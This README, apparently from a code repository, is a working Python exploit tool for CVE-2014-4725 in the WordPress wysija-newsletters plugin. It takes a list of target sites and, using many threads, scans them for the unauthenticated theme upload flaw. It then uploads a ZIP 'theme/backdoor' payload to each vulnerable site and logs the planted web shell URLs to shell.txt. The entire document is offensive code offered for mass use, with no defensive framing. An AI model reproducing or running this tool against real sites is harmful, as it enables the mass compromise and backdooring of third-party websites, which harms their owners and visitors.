README.md
Rendering markdown...
import requests
import argparse
import os
from concurrent.futures import ThreadPoolExecutor
from pwdnx import printmodule
headers = {
'user-agent': 'mozilla/5.0 (x11; ubuntu; linux i686; rv:28.0) gecko/20100101 firefox/28.0'
}
check_id = "cve-2014-4725"
component = "wysija-newsletters"
cms = "wordpress"
max_threads = 15
YELLOW = "\033[93m"
GRAY = "\033[90m"
RESET = "\033[0m"
def is_wordpress(site):
try:
r = requests.get(f"http://{site}", headers=headers, timeout=8)
if "wp-content" in r.text.lower() or "wordpress" in r.text.lower():
return True
return False
except:
return False
def is_vulnerable(site):
try:
url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes"
r = requests.get(url, headers=headers, timeout=10)
if "themeupload" in r.text.lower():
return True
return False
except:
return False
def exploit(site, payload_zip):
try:
files = {'my-theme': open(payload_zip, 'rb')}
data = {
'action': "themeupload",
'submitter': "upload",
'overwriteexistingtheme': "on",
'page': 'gzneflozab'
}
url = f"http://{site}/wp-admin/admin-post.php?page=wysija_campaigns&action=themes"
r = requests.post(url, files=files, data=data, headers=headers, timeout=10)
if 'reload=1' in r.text:
shell_url = f"http://{site}/wp-content/uploads/wysija/themes/rock/vuln.php"
with open("shell.txt", "a") as out:
out.write(shell_url + "\n")
return printmodule.returnyes(site, check_id, component, cms)
else:
return printmodule.returnno(site, check_id, component, cms)
except:
return printmodule.returnno(site, check_id, component, cms)
def scan_mode(target_file):
if not os.path.exists(target_file):
print(f"[!] file {target_file} not found.")
return
with open(target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] starting scan for {len(targets)} target")
vuln_sites = []
def scan_single(site):
if not is_wordpress(site):
print(f"{site} {GRAY}[not wordpress]{RESET}")
return
if is_vulnerable(site):
vuln_sites.append(site)
print(f"{site} {YELLOW}[vuln]{RESET}")
else:
print(f"{site} {GRAY}[not vulnerable]{RESET}")
with ThreadPoolExecutor(max_workers=max_threads) as executor:
executor.map(scan_single, targets)
with open("vuln.txt", "w") as vf:
for v in vuln_sites:
vf.write(v + "\n")
print(f"[*] scan finished. results saved to vuln.txt")
def exploit_mode(target_file, payload_zip):
if not os.path.exists(target_file):
print(f"[!] file {target_file} not found.")
return
if not os.path.exists(payload_zip):
print(f"[!] payload file {payload_zip} not found.")
return
with open(target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] starting exploit for {len(targets)} targets")
with ThreadPoolExecutor(max_workers=max_threads) as executor:
executor.map(lambda site: exploit(site, payload_zip), targets)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="cve-2014-4725")
parser.add_argument("--scan", help="scan targets from file, save results to vuln.txt")
parser.add_argument("--exploit", help="exploit vulnerable targets from file, save shell to shell.txt (requires --payload)")
parser.add_argument("--payload", help="ZIP theme/backdoor to upload")
args = parser.parse_args()
if args.scan:
scan_mode(args.scan)
elif args.exploit:
payload_path = args.payload if args.payload else "file/ZIP.zip"
exploit_mode(args.exploit, payload_path)
else:
parser.print_help()